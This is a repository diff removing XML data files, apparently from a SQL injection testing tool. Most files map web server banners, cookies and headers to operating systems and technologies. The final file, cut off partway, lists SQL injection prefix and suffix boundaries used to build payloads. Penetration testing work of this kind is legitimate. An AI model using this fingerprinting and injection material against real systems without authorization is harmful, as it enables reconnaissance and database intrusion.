<regexp value="Apache/2\.4\.16 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="23"/>
</regexp>
<regexp value="Apache/2\.4\.18 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="24"/>
</regexp>
<regexp value="Apache/2\.4\.23 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="25"/>
</regexp>
<regexp value="Apache/2\.4\.25 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="26"/>
</regexp>
<regexp value="Apache/2\.4\.28 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="27"/>
</regexp>
<regexp value="Apache/2\.4\.33 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="28"/>
</regexp>
<regexp value="Apache/2\.4\.34 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="29"/>
</regexp>
<regexp value="Apache/2\.4\.39 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="30"/>
</regexp>
<regexp value="Apache/2\.4\.41 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="31"/>
</regexp>
<regexp value="Apache/2\.4\.43 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="32"/>
</regexp>
<regexp value="Apache/2\.4\.46 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="33|34"/>
</regexp>
<regexp value="Apache/2\.4\.51 \(Fedora\)">
<info type="Linux" distrib="Fedora" release="35"/>
</regexp>
<!-- Apache: FreeBSD -->
<regexp value="Apache/2\.0\.16 \(FreeBSD\)">
<info type="FreeBSD" release="4.4"/>
</regexp>
<regexp value="Apache/2\.0\.28 \(FreeBSD\)">
<info type="FreeBSD" release="4.5"/>
</regexp>
<regexp value="Apache/2\.0\.36 \(FreeBSD\)">
<info type="FreeBSD" release="4.6"/>
</regexp>
<regexp value="Apache/2\.0\.43 \(FreeBSD\)">
<info type="FreeBSD" release="4.7|5.0"/>
</regexp>
<regexp value="Apache/2\.0\.44 \(FreeBSD\)">
<info type="FreeBSD" release="4.8"/>
</regexp>
<regexp value="Apache/2\.0\.47 \(FreeBSD\)">
<info type="FreeBSD" release="4.9"/>
</regexp>
<regexp value="Apache/2\.0\.49 \(FreeBSD\)">
<info type="FreeBSD" release="4.10"/>
</regexp>
<regexp value="Apache/2\.0\.52 \(FreeBSD\)">
<info type="FreeBSD" release="4.11"/>
</regexp>
<regexp value="Apache/2\.0\.46 \(FreeBSD\)">
<info type="FreeBSD" release="5.1"/>
</regexp>
<regexp value="Apache/2\.0\.48 \(FreeBSD\)">
<info type="FreeBSD" release="5.2.1"/>
</regexp>
<regexp value="Apache/2\.0\.50 \(FreeBSD\)">
<info type="FreeBSD" release="5.3"/>
</regexp>
<regexp value="Apache/2\.0\.53 \(FreeBSD\)">
<info type="FreeBSD" release="5.4"/>
</regexp>
<regexp value="Apache/2\.2\.0 \(FreeBSD\)">
<info type="FreeBSD" release="5.5|6.1"/>
</regexp>
<regexp value="Apache/2\.0\.54 \(FreeBSD\)">
<info type="FreeBSD" release="6.0"/>
</regexp>
<regexp value="Apache/2\.2\.3 \(FreeBSD\)">
<info type="FreeBSD" release="6.2"/>
</regexp>
<regexp value="Apache/2\.2\.6 \(FreeBSD\)">
<info type="FreeBSD" release="6.3|7.0"/>
</regexp>
<regexp value="Apache/2\.2\.9 \(FreeBSD\)">
<info type="FreeBSD" release="6.4|7.1"/>
</regexp>
<regexp value="Apache/2\.2\.11 \(FreeBSD\)">
<info type="FreeBSD" release="7.2"/>
</regexp>
<regexp value="Apache/2\.2\.14 \(FreeBSD\)">
<info type="FreeBSD" release="7.3"/>
</regexp>
<regexp value="Apache/2\.2\.13 \(FreeBSD\)">
<info type="FreeBSD" release="8.0"/>
</regexp>
<regexp value="Apache/2\.2\.15 \(FreeBSD\)">
<info type="FreeBSD" release="8.1"/>
</regexp>
<regexp value="Apache/2\.2\.17 \(FreeBSD\)">
<info type="FreeBSD" release="8.2"/>
</regexp>
<regexp value="Apache/2\.2\.21 \(FreeBSD\)">
<info type="FreeBSD" release="9.0"/>
</regexp>
<regexp value="Apache/2\.4\.6 \(FreeBSD\)">
<info type="FreeBSD" release="9.2"/>
</regexp>
<regexp value="Apache/2\.4\.9 \(FreeBSD\)">
<info type="FreeBSD" release="9.3"/>
</regexp>
<regexp value="Apache/2\.4\.16 \(FreeBSD\)">
<info type="FreeBSD" release="10.3"/>
</regexp>
<regexp value="Apache/2\.4\.27 \(FreeBSD\)">
<info type="FreeBSD" release="10.4"/>
</regexp>
<regexp value="Apache/2\.4\.26 \(FreeBSD\)">
<info type="FreeBSD" release="11.1"/>
</regexp>
<regexp value="Apache/2\.4\.39 \(FreeBSD\)">
<info type="FreeBSD" release="11.3"/>
</regexp>
<regexp value="Apache/2\.4\.51 \(FreeBSD\)">
<info type="FreeBSD" release="12.3"/>
</regexp>
<regexp value="Apache/2\.4\.46 \(FreeBSD\)">
<info type="FreeBSD" release="13.0"/>
</regexp>
<!-- Apache: Mandrake / Mandriva -->
<regexp value="Apache/1\.3\.6 \(Unix\)\s+\(Mandrake/Linux\)">
<info type="Linux" distrib="Mandrake" release="6.0" codename="Venus"/>
</regexp>
<regexp value="Apache/1\.3\.9 \(Unix\)\s+\(NetRevolution Advanced Server/Linux-Mandrake\)">
<info type="Linux" distrib="Mandrake" release="6.1|7.0" codename="Helios|Air"/>
</regexp>
<regexp value="Apache-AdvancedExtranetServer/1\.3\.12 \(NetRevolution/Linux-Mandrake\)">
<info type="Linux" distrib="Mandrake" release="7.1" codename="Helium"/>
</regexp>
<regexp value="Apache-AdvancedExtranetServer/1\.3\.14 \(Linux-Mandrake/">
<info type="Linux" distrib="Mandrake" release="7.2" codename="Odyssey"/>
</regexp>
<regexp value="Apache-AdvancedExtranetServer/1\.3\.19 \(Linux-Mandrake/">
<info type="Linux" distrib="Mandrake" release="8.0" codename="Traktopel"/>
</regexp>
<regexp value="Apache-AdvancedExtranetServer/1\.3\.20 \(Mandrake Linux/">
<info type="Linux" distrib="Mandrake" release="8.1" codename="Vitamin"/>
</regexp>
<regexp value="Apache-AdvancedExtranetServer/1\.3\.23 \(Mandrake Linux/">
<info type="Linux" distrib="Mandrake" release="8.2" codename="Bluebird"/>
</regexp>
<regexp value="Apache-AdvancedExtranetServer/1\.3\.26 \(Mandrake Linux/">
<info type="Linux" distrib="Mandrake" release="9.0" codename="Dolphin"/>
</regexp>
<regexp value="Apache-AdvancedExtranetServer/1\.3\.27 \(Mandrake Linux/">
<info type="Linux" distrib="Mandrake" release="9.1" codename="Bamboo"/>
</regexp>
<regexp value="Apache-AdvancedExtranetServer/2\.0\.44 \(Mandrake Linux/">
<info type="Linux" distrib="Mandrake" release="9.1" codename="Bamboo"/>
</regexp>
<regexp value="Apache-AdvancedExtranetServer/1\.3\.28 \(Mandrake Linux/">
<info type="Linux" distrib="Mandrake" release="9.2" codename="FiveStar"/>
</regexp>
<regexp value="Apache-AdvancedExtranetServer/2\.0\.47 \(Mandrake Linux/">
<info type="Linux" distrib="Mandrake" release="9.1|9.2" codename="Bamboo|FiveStar"/>
</regexp>
<regexp value="Apache-AdvancedExtranetServer/1\.3\.29 \(Mandrake Linux/">
<info type="Linux" distrib="Mandrake" release="10.0" codename="Community"/>
</regexp>
<regexp value="Apache-AdvancedExtranetServer/2\.0\.48 \(Mandrake Linux/">
<info type="Linux" distrib="Mandrake" release="10.0" codename="Community"/>
</regexp>
<regexp value="Apache-AdvancedExtranetServer/1\.3\.31 \(Linux-Mandrake/">
<info type="Linux" distrib="Mandrake" release="10.1" codename="Official"/>
</regexp>
<regexp value="Apache-AdvancedExtranetServer/2\.0\.50 \(Mandrake Linux/">
<info type="Linux" distrib="Mandrake" release="10.0|10.1" codename="Community|Official"/>
</regexp>
<regexp value="Apache-AdvancedExtranetServer/2\.0\.53 \(Mandriva Linux/">
<info type="Linux" distrib="Mandrake" release="10.2" codename="Limited Edition 2005"/>
</regexp>
<regexp value="Apache-AdvancedExtranetServer/2\.0\.54 \(Mandriva Linux/">
<info type="Linux" distrib="Mandriva" release="2006.0"/>
</regexp>
<regexp value="Apache/2\.2\.3 \(Mandriva Linux/">
<info type="Linux" distrib="Mandriva" release="2007"/>
</regexp>
<regexp value="Apache/2\.2\.4 \(Mandriva Linux/">
<info type="Linux" distrib="Mandriva" release="2007.1"/>
</regexp>
<regexp value="Apache/2\.2\.6 \(Mandriva Linux/">
<info type="Linux" distrib="Mandriva" release="2008"/>
</regexp>
<regexp value="Apache/2\.2\.8 \(Mandriva Linux/">
<info type="Linux" distrib="Mandriva" release="2008.1"/>
</regexp>
<regexp value="Apache/2\.2\.9 \(Mandriva Linux/">
<info type="Linux" distrib="Mandriva" release="2009"/>
</regexp>
<regexp value="Apache/2\.2\.11 \(Mandriva Linux/">
<info type="Linux" distrib="Mandriva" release="2009.1"/>
</regexp>
<regexp value="Apache/2\.2\.14 \(Mandriva Linux/">
<info type="Linux" distrib="Mandriva" release="2010"/>
</regexp>
<regexp value="Apache/2\.2\.15 \(Mandriva Linux/">
<info type="Linux" distrib="Mandriva" release="2010.1|2010.2"/>
</regexp>
<!-- Apache: Red Hat -->
<regexp value="Apache/1\.1\.3 Red Hat">
<info type="Linux" distrib="Red Hat" release="4.2" codename="Biltmore"/>
</regexp>
<regexp value="Apache/1\.2\.4 Red Hat">
<info type="Linux" distrib="Red Hat" release="5.0" codename="Hurricane"/>
</regexp>
<regexp value="Apache/1\.2\.6 Red Hat">
<info type="Linux" distrib="Red Hat" release="5.1" codename="Manhattan"/>
</regexp>
<regexp value="Apache/1\.3\.3 \(Unix\)\s+\(Red Hat/Linux\)">
<info type="Linux" distrib="Red Hat" release="5.2" codename="Apollo"/>
</regexp>
<regexp value="Apache/1\.3\.6 \(Unix\)\s+\(Red Hat/Linux\)">
<info type="Linux" distrib="Red Hat" release="6.0" codename="Hedwig"/>
</regexp>
<regexp value="Apache/1\.3\.9 \(Unix\) \(Red Hat/Linux\)">
<info type="Linux" distrib="Red Hat" release="6.1" codename="Cartman"/>
</regexp>
<regexp value="Apache/1\.3\.12 \(Unix\) \(Red Hat/Linux\)">
<info type="Linux" distrib="Red Hat" release="6.2|7.0" codename="Zoot|Guinness"/>
</regexp>
<regexp value="Apache/1\.3\.19 \(Unix\) \(Red-Hat/Linux\)">
<info type="Linux" distrib="Red Hat" release="7.1" codename="Seawolf"/>
</regexp>
<regexp value="Apache/1\.3\.20 \(Unix\) \(Red-Hat/Linux\)">
<info type="Linux" distrib="Red Hat" release="7.2" codename="Enigma"/>
</regexp>
<regexp value="Apache/1\.3\.23 \(Unix\) \(Red-Hat/Linux\)">
<info type="Linux" distrib="Red Hat" release="7.3" codename="Valhalla"/>
</regexp>
<regexp value="Apache/1\.3\.27 \(Unix\) \(Red-Hat/Linux\)">
<info type="Linux" distrib="Red Hat" release="7.1|7.2|7.3" codename="Seawolf|Enigma|Valhalla" updated="True"/>
</regexp>
<regexp value="Apache/2\.0\.40 \(Red Hat Linux\)">
<info type="Linux" distrib="Red Hat" release="8.0|9" codename="Psyche|Shrike"/>
</regexp>
<regexp value="Apache/1\.3\.22 \(Unix\) \(Red-Hat/Linux\)">
<info type="Linux" distrib="Red Hat" release="Enterprise 2.1" codename="Panama"/>
</regexp>
<regexp value="Apache/2\.0\.46 \(Red Hat\)">
<info type="Linux" distrib="Red Hat" release="Enterprise 3" codename="Taroon"/>
</regexp>
<regexp value="Apache/2\.0\.52 \(Red Hat\)">
<info type="Linux" distrib="Red Hat" release="Enterprise 4" codename="Nahant"/>
</regexp>
<regexp value="Apache/2\.2\.3 \(Red Hat\)">
<info type="Linux" distrib="Red Hat" release="Enterprise 5" codename="Tikanga"/>
</regexp>
<regexp value="Apache/2\.2\.15 \(Red Hat\)">
<info type="Linux" distrib="Red Hat" release="Enterprise 6" codename="Santiago"/>
</regexp>
<regexp value="Apache/2\.4\.6 \(Red Hat\)">
<info type="Linux" distrib="Red Hat" release="Enterprise 7" codename="Maipo"/>
</regexp>
<regexp value="Apache/2\.4\.37 \(Red Hat\)">
<info type="Linux" distrib="Red Hat" release="Enterprise 8" codename="Ootpa"/>
</regexp>
<!-- Apache: SuSE -->
<regexp value="Apache/1\.3\.6 \(Unix\) \(SuSE/Linux\)">
<info type="Linux" distrib="SuSE" release="6.1"/>
</regexp>
<regexp value="Apache/1\.3\.9 \(Unix\) \(SuSE/Linux\)">
<info type="Linux" distrib="SuSE" release="6.2"/>
</regexp>
<regexp value="Apache/1\.3\.12 \(Unix\) \(SuSE/Linux\)">
<info technology="operating-system.type" type="str" value="Linux"/>
<info type="Linux" distrib="SuSE" release="6.4|7.0"/>
</regexp>
<regexp value="Apache/1\.3\.17 \(Unix\) \(SuSE/Linux\)">
<info type="Linux" distrib="SuSE" release="7.1"/>
</regexp>
<regexp value="Apache/1\.3\.19 \(Unix\) \(SuSE/Linux\)">
<info type="Linux" distrib="SuSE" release="7.2"/>
</regexp>
<regexp value="Apache/1\.3\.20 \(Linux/SuSE\)">
<info type="Linux" distrib="SuSE" release="7.3"/>
</regexp>
<regexp value="Apache/1\.3\.23 \(Linux/SuSE\)">
<info type="Linux" distrib="SuSE" release="8.0"/>
</regexp>
<regexp value="Apache/1\.3\.26 \(Linux/SuSE\)">
<info type="Linux" distrib="SuSE" release="8.1"/>
</regexp>
<regexp value="Apache/1\.3\.27 \(Linux/SuSE\)">
<info type="Linux" distrib="SuSE" release="8.2"/>
</regexp>
<regexp value="Apache/1\.3\.28 \(Linux/SuSE\)">
<info type="Linux" distrib="SuSE" release="9.0"/>
</regexp>
<regexp value="Apache/2\.0\.40 \(Linux/SuSE\)">
<info type="Linux" distrib="SuSE" release="8.1"/>
</regexp>
<regexp value="Apache/2\.0\.44 \(Linux/SuSE\)">
<info type="Linux" distrib="SuSE" release="8.2"/>
</regexp>
<regexp value="Apache/2\.0\.47 \(Linux/SuSE\)">
<info type="Linux" distrib="SuSE" release="9.0"/>
</regexp>
<regexp value="Apache/2\.0\.49 \(Linux/SuSE\)">
<info type="Linux" distrib="SuSE" release="9.1"/>
</regexp>
<regexp value="Apache/2\.0\.50 \(Linux/SuSE\)">
<info type="Linux" distrib="SuSE" release="9.2"/>
</regexp>
<regexp value="Apache/2\.0\.53 \(Linux/SuSE\)">
<info type="Linux" distrib="SuSE" release="9.3"/>
</regexp>
<regexp value="Apache/2\.0\.54 \(Linux/SuSE\)">
<info type="Linux" distrib="SuSE" release="10.0"/>
</regexp>
<regexp value="Apache/2\.2\.0 \(Linux/SuSE\)">
<info type="Linux" distrib="SuSE" release="10.1"/>
</regexp>
<regexp value="Apache/2\.2\.3 \(Linux/SuSE\)">
<info type="Linux" distrib="SuSE" release="10.2"/>
</regexp>
<regexp value="Apache/2\.2\.4 \(Linux/SuSE\)">
<info type="Linux" distrib="SuSE" release="10.3"/>
</regexp>
<regexp value="Apache/2\.2\.8 \(Linux/SuSE\)">
<info type="Linux" distrib="SuSE" release="11.0"/>
</regexp>
<regexp value="Apache/2\.2\.10 \(Linux/SuSE\)">
<info type="Linux" distrib="SuSE" release="11.1"/>
</regexp>
<regexp value="Apache/2\.2\.13 \(Linux/SuSE\)">
<info type="Linux" distrib="SuSE" release="11.2"/>
</regexp>
<regexp value="Apache/2\.2\.15 \(Linux/SuSE\)">
<info type="Linux" distrib="SuSE" release="11.3"/>
</regexp>
<regexp value="Apache/2\.2\.17 \(Linux/SuSE\)">
<info type="Linux" distrib="SuSE" release="11.4"/>
</regexp>
<regexp value="Apache/2\.2\.21 \(Linux/SuSE\)">
<info type="Linux" distrib="SuSE" release="12.1"/>
</regexp>
<regexp value="Apache/2\.2\.22 \(Linux/SuSE\)">
<info type="Linux" distrib="SuSE" release="12.2|12.3"/>
</regexp>
<regexp value="Apache/2\.4\.6 \(Linux/SuSE\)">
<info type="Linux" distrib="SuSE" release="13.1"/>
</regexp>
<regexp value="Apache/2\.4\.10 \(Linux/SuSE\)">
<info type="Linux" distrib="SuSE" release="13.2"/>
</regexp>
<regexp value="Apache/2\.4\.16 \(Linux/SuSE\)">
<info type="Linux" distrib="SuSE" release="42.1"/>
</regexp>
<regexp value="Apache/2\.4\.23 \(Linux/SuSE\)">
<info type="Linux" distrib="SuSE" release="42.2|42.3"/>
</regexp>
<regexp value="Apache/2\.4\.33 \(Linux/SuSE\)">
<info type="Linux" distrib="SuSE" release="15"/>
</regexp>
<regexp value="Apache/2\.4\.43 \(Linux/SuSE\)">
<info type="Linux" distrib="SuSE" release="15.3"/>
</regexp>
<!-- Apache: Ubuntu -->
<regexp value="Apache/2\.0\.50 \(Ubuntu\)">
<info type="Linux" distrib="Ubuntu" release="4.10" codename="Warty Warthog"/>
</regexp>
<regexp value="Apache/2\.0\.53 \(Ubuntu\)">
<info type="Linux" distrib="Ubuntu" release="5.04" codename="Hoary Hedgehog"/>
</regexp>
<regexp value="Apache/2\.0\.54 \(Ubuntu\)">
<info type="Linux" distrib="Ubuntu" release="5.10" codename="Breezy Badger"/>
</regexp>
<regexp value="Apache/2\.0\.55 \(Ubuntu\)">
<info type="Linux" distrib="Ubuntu" release="6.06|6.10" codename="Dapper Drake|Edgy Eft"/>
</regexp>
<regexp value="Apache/2\.2\.3 \(Ubuntu\)">
<info type="Linux" distrib="Ubuntu" release="7.04" codename="Feisty Fawn"/>
</regexp>
<regexp value="Apache/2\.2\.4 \(Ubuntu\)">
<info type="Linux" distrib="Ubuntu" release="7.10" codename="Gutsy Gibbon"/>
</regexp>
<regexp value="Apache/2\.2\.8 \(Ubuntu\)">
<info type="Linux" distrib="Ubuntu" release="8.04" codename="Hardy Heron"/>
</regexp>
<regexp value="Apache/2\.2\.9 \(Ubuntu\)">
<info type="Linux" distrib="Ubuntu" release="8.10" codename="Intrepid Ibex"/>
</regexp>
<regexp value="Apache/2\.2\.11 \(Ubuntu\)">
<info type="Linux" distrib="Ubuntu" release="9.04" codename="Jaunty Jackalope"/>
</regexp>
<regexp value="Apache/2\.2\.12 \(Ubuntu\)">
<info type="Linux" distrib="Ubuntu" release="9.10" codename="Karmic Koala"/>
</regexp>
<regexp value="Apache/2\.2\.14 \(Ubuntu\)">
<info type="Linux" distrib="Ubuntu" release="10.04" codename="Lucid Lynx"/>
</regexp>
<regexp value="Apache/2\.2\.16 \(Ubuntu\)">
<info type="Linux" distrib="Ubuntu" release="10.10" codename="Maverick Meerkat"/>
</regexp>
<regexp value="Apache/2\.2\.17 \(Ubuntu\)">
<info type="Linux" distrib="Ubuntu" release="11.04" codename="Natty Narwhal"/>
</regexp>
<regexp value="Apache/2\.2\.20 \(Ubuntu\)">
<info type="Linux" distrib="Ubuntu" release="11.10" codename="Oneiric Ocelot"/>
</regexp>
<regexp value="Apache/2\.2\.22 \(Ubuntu\)">
<info type="Linux" distrib="Ubuntu" release="12.04|12.10|13.04" codename="Precise Pangolin|Quantal Quetzal|Raring Ringtail"/>
</regexp>
<regexp value="Apache/2\.4\.6 \(Ubuntu\)">
<info type="Linux" distrib="Ubuntu" release="13.10" codename="Saucy Salamander"/>
</regexp>
<regexp value="Apache/2\.4\.10 \(Ubuntu\)">
<info type="Linux" distrib="Ubuntu" release="14.10|15.04" codename="utopic|vivid"/>
</regexp>
<regexp value="Apache/2\.4\.12 \(Ubuntu\)">
<info type="Linux" distrib="Ubuntu" release="15.10" codename="willy"/>
</regexp>
<regexp value="Apache/2\.4\.18 \(Ubuntu\)">
<info type="Linux" distrib="Ubuntu" release="16.04|16.10" codename="xenial|yakkety"/>
</regexp>
<regexp value="Apache/2\.4\.25 \(Ubuntu\)">
<info type="Linux" distrib="Ubuntu" release="17.04" codename="zesty"/>
</regexp>
<regexp value="Apache/2\.4\.27 \(Ubuntu\)">
<info type="Linux" distrib="Ubuntu" release="17.10" codename="artful"/>
</regexp>
<regexp value="Apache/2\.4\.29 \(Ubuntu\)">
<info type="Linux" distrib="Ubuntu" release="18.04" codename="bionic"/>
</regexp>
<regexp value="Apache/2\.4\.34 \(Ubuntu\)">
<info type="Linux" distrib="Ubuntu" release="18.10" codename="cosmic"/>
</regexp>
<regexp value="Apache/2\.4\.38 \(Ubuntu\)">
<info type="Linux" distrib="Ubuntu" release="19.04" codename="disco"/>
</regexp>
<regexp value="Apache/2\.4\.41 \(Ubuntu\)">
<info type="Linux" distrib="Ubuntu" release="19.10|20.04|20.10" codename="eoan|focal"/>
</regexp>
<regexp value="Apache/2\.4\.46 \(Ubuntu\)">
<info type="Linux" distrib="Ubuntu" release="21.04|21.10" codename="eoan|focal"/>
</regexp>
<!-- Nginx -->
<regexp value="nginx$">
<info technology="Nginx"/>
</regexp>
<regexp value="nginx/([\w\.]+)">
<info technology="Nginx" tech_version="1"/>
</regexp>
<!-- Google Web Server -->
<regexp value="GWS$">
<info technology="Google Web Server"/>
</regexp>
<regexp value="GWS/([\w\.]+)">
<info technology="Google Web Server" tech_version="1"/>
</regexp>
<!-- lighttpd -->
<regexp value="lighttpd$">
<info technology="lighttpd"/>
</regexp>
<regexp value="lighttpd/([\w\.]+)">
<info technology="lighttpd" tech_version="1"/>
</regexp>
<!-- OpenResty -->
<regexp value="openresty$">
<info technology="OpenResty"/>
</regexp>
<regexp value="openresty/([\w\.]+)">
<info technology="OpenResty" tech_version="1"/>
</regexp>
<!-- LiteSpeed -->
<regexp value="LiteSpeed$">
<info technology="LiteSpeed"/>
</regexp>
<regexp value="LiteSpeed/([\w\.]+)">
<info technology="LiteSpeed" tech_version="1"/>
</regexp>
<!-- Sun ONE -->
<regexp value="Sun-ONE-Web-Server/([\w\.]+)">
<info technology="Sun ONE" tech_version="1"/>
</regexp>
</root>
-29
View File
@@ -1,29 +0,0 @@
<?xml version="1.0" encoding="UTF-8"?>
<!-- Reference: http://www.http-stats.com/Servlet-Engine -->
<root>
<regexp value="Tomcat( Web Server)?\/([\d\.]+)">
<info technology="Tomcat" tech_version="1"/>
</regexp>
<regexp value="Enhydra Application Server/([\d\.]+)">
<info technology="Enhydra" tech_version="1"/>
</regexp>
<regexp value="Jetty/([\d\.]+)">
<info technology="Jetty" tech_version="1"/>
</regexp>
<regexp value="JSP[\-\_\/\ ]([\d\.]+)">
<info technology="JSP" tech_version="1"/>
</regexp>
<regexp value="Servlet[\-\_\/\ ]([\d\.]+)">
<info technology="Servlet" tech_version="1"/>
</regexp>
<regexp value="Java[\-\_\/\ ]([\d\.]+)">
<info technology="Java" tech_version="1"/>
</regexp>
</root>
-65
View File
@@ -1,65 +0,0 @@
<?xml version="1.0" encoding="UTF-8"?>
<!--
References:
* http://www.http-stats.com/Set-Cookie2
* http://www.owasp.org/index.php/Category:OWASP_Cookies_Database
-->
<root>
<regexp value="ASPSESSIONID">
<info technology="ASP" type="Windows"/>
</regexp>
<regexp value="ASP\.NET_SessionId|\.ASPXAUTH">
<info technology="ASP.NET" type="Windows"/>
</regexp>
<regexp value="JSESSIONID">
<info technology="JSP"/>
</regexp>
<regexp value="JServSessionId">
<info technology="JServ"/>
</regexp>
<regexp value="Ltpatoken">
<info technology="WebSphere"/>
</regexp>
<regexp value="PHPSESS">
<info technology="PHP"/>
</regexp>
<regexp value="RoxenUserID">
<info technology="Roxen"/>
</regexp>
<regexp value="wiki\d+_session">
<info technology="MediaWiki"/>
</regexp>
<regexp value="Apache">
<info technology="Apache"/>
</regexp>
<regexp value="DomAuthSessID">
<info technology="Domino|Notes"/>
</regexp>
<regexp value="CFID|CFTOKEN|CFMAGIC|CFGLOBALS">
<info technology="ColdFusion"/>
</regexp>
<regexp value="WebLogicSession">
<info technology="WebLogic"/>
</regexp>
<regexp value="MoodleSession">
<info technology="Moodle"/>
</regexp>
<regexp value="\bwp_">
<info technology="WordPress"/>
</regexp>
</root>
-9
View File
@@ -1,9 +0,0 @@
<?xml version="1.0" encoding="UTF-8"?>
<!-- Reference: http://www.http-stats.com/Set-Cookie2 -->
<root>
<regexp value="([\d\.]+)">
<info technology="Microsoft Share Point" tech_version="1" type="Windows"/>
</regexp>
</root>
-9
View File
@@ -1,9 +0,0 @@
<?xml version="1.0" encoding="UTF-8"?>
<!-- Reference: http://www.http-stats.com/X-AspNet-Version -->
<root>
<regexp value="([\d\.]+)">
<info technology="ASP.NET" tech_version="1" type="Windows"/>
</regexp>
</root>
-65
View File
@@ -1,65 +0,0 @@
<?xml version="1.0" encoding="UTF-8"?>
<!-- Reference: https://publicwww.com/popular/powered/index.html -->
<root>
<regexp value="PHP[\-\_\/\ ]([\d\.]+)">
<info technology="PHP" tech_version="1"/>
</regexp>
<regexp value="JSP[\-\_\/\ ]([\d\.]+)">
<info technology="JSP" tech_version="1"/>
</regexp>
<regexp value="ASP[\/\d\.]*$">
<info technology="ASP" type="Windows"/>
</regexp>
<regexp value="EasyEngine ([\d\.]+)">
<info technology="EasyEngine" tech_version="1"/>
</regexp>
<regexp value="Phusion Passenger ([\d\.]+)">
<info technology="Phusion Passenger" tech_version="1"/>
</regexp>
<regexp value="Craft CMS">
<info technology="Craft CMS"/>
</regexp>
<regexp value="Express">
<info technology="Express"/>
</regexp>
<regexp value="WP Engine">
<info technology="WP Engine"/>
</regexp>
<regexp value="PleskLin">
<info technology="Plesk" type="Linux"/>
</regexp>
<regexp value="PleskWin">
<info technology="Plesk" type="Windows"/>
</regexp>
<regexp value="ThinkPHP">
<info technology="ThinkPHP"/>
</regexp>
<regexp value="ASP\.NET">
<info technology="ASP.NET" type="Windows"/>
</regexp>
<regexp value="Tomcat[\-\_\/\ ]?([\d\.]+)">
<info technology="Tomcat" tech_version="1"/>
</regexp>
<regexp value="JBoss[\-\_\/\ ]?([\d\.]+)">
<info technology="JBoss" tech_version="1"/>
</regexp>
<regexp value="Servlet[\-\_\/\ ]?([\d\.]+)">
<info technology="Servlet" tech_version="1"/>
</regexp>
</root>
-567
View File
@@ -1,567 +0,0 @@
<?xml version="1.0" encoding="UTF-8"?>
<!--
Tag: <boundary>
How to prepend and append to the test ' <payload><comment> ' string.
Sub-tag: <level>
From which level check for this test.
Valid values:
1: Always (<100 requests)
2: Try a bit harder (100-200 requests)
3: Good number of requests (200-500 requests)
4: Extensive test (500-1000 requests)
5: You have plenty of time (>1000 requests)
Sub-tag: <clause>
In which clause the payload can work.
NOTE: for instance, there are some payload that do not have to be
tested as soon as it has been identified whether or not the
injection is within a WHERE clause condition.
Valid values:
0: Always
1: WHERE / HAVING
2: GROUP BY
3: ORDER BY
4: LIMIT
5: OFFSET
6: TOP
7: Table name
8: Column name
9: Pre-WHERE (non-query)
A comma separated list of these values is also possible.
Sub-tag: <where>
Where to add our '<prefix> <payload><comment> <suffix>' string.
Valid values:
1: When the value of <test>'s <where> is 1.
2: When the value of <test>'s <where> is 2.
3: When the value of <test>'s <where> is 3.
A comma separated list of these values is also possible.
Sub-tag: <ptype>
What is the parameter value type.
Valid values:
1: Unescaped numeric
2: Single quoted string
3: LIKE single quoted string
4: Double quoted string
5: LIKE double quoted string
6: Identifier (e.g. column name)
Sub-tag: <prefix>
A string to prepend to the payload.
Sub-tag: <suffix>
A string to append to the payload.
Formats:
<boundary>
<level></level>
<clause></clause>
<where></where>
<ptype></ptype>
<prefix></prefix>
<suffix></suffix>
</boundary>
-->
<root>
<!-- Generic boundaries -->
<boundary>
<level>3</level>
<clause>1</clause>
<where>1,2</where>
<ptype>1</ptype>
<prefix>)</prefix>
<suffix>[GENERIC_SQL_COMMENT]</suffix>
</boundary>
<boundary>
<level>4</level>
<clause>1</clause>
<where>1,2</where>
<ptype>2</ptype>
<prefix>')</prefix>
<suffix>[GENERIC_SQL_COMMENT]</suffix>
</boundary>
<boundary>
<level>3</level>
<clause>1,2,3</clause>
<where>1,2</where>
<ptype>2</ptype>
<prefix>'</prefix>
<suffix>[GENERIC_SQL_COMMENT]</suffix>
</boundary>
<boundary>
<level>5</level>
<clause>1</clause>
<where>1,2</where>
<ptype>4</ptype>
<prefix>"</prefix>
<suffix>[GENERIC_SQL_COMMENT]</suffix>
</boundary>
<!-- End of generic boundaries -->
<!-- WHERE/HAVING clause boundaries -->
<boundary>
<level>1</level>
<clause>1</clause>
<where>1,2</where>
<ptype>1</ptype>
<prefix>)</prefix>
<suffix> AND ([RANDNUM]=[RANDNUM]</suffix>
</boundary>
<boundary>
<level>2</level>
<clause>1</clause>
<where>1,2</where>
<ptype>1</ptype>
<prefix>))</prefix>
<suffix> AND (([RANDNUM]=[RANDNUM]</suffix>
</boundary>
<boundary>
<level>3</level>
<clause>1</clause>
<where>1,2</where>
<ptype>1</ptype>
<prefix>)))</prefix>
<suffix> AND ((([RANDNUM]=[RANDNUM]</suffix>
</boundary>
<boundary>
<level>1</level>
<clause>0</clause>
<where>1,2,3</where>
<ptype>1</ptype>
<prefix></prefix>
<suffix></suffix>
</boundary>
<boundary>
<level>1</level>
<clause>1</clause>
<where>1,2</where>
<ptype>2</ptype>
<prefix>')</prefix>
<suffix> AND ('[RANDSTR]'='[RANDSTR]</suffix>
</boundary>
<boundary>
<level>2</level>
<clause>1</clause>
<where>1,2</where>
<ptype>2</ptype>
<prefix>'))</prefix>
<suffix> AND (('[RANDSTR]'='[RANDSTR]</suffix>
</boundary>
<boundary>
<level>3</level>
<clause>1</clause>
<where>1,2</where>
<ptype>2</ptype>
<prefix>')))</prefix>
<suffix> AND ((('[RANDSTR]'='[RANDSTR]</suffix>
</boundary>
<boundary>
<level>1</level>
<clause>1</clause>
<where>1,2</where>
<ptype>2</ptype>
<prefix>'</prefix>
<suffix> AND '[RANDSTR]'='[RANDSTR]</suffix>
</boundary>
<boundary>
<level>2</level>
<clause>1</clause>
<where>1,2</where>
<ptype>3</ptype>
<prefix>')</prefix>
<suffix> AND ('[RANDSTR]' LIKE '[RANDSTR]</suffix>
</boundary>
<boundary>
<level>3</level>
<clause>1</clause>
<where>1,2</where>
<ptype>3</ptype>
<prefix>'))</prefix>
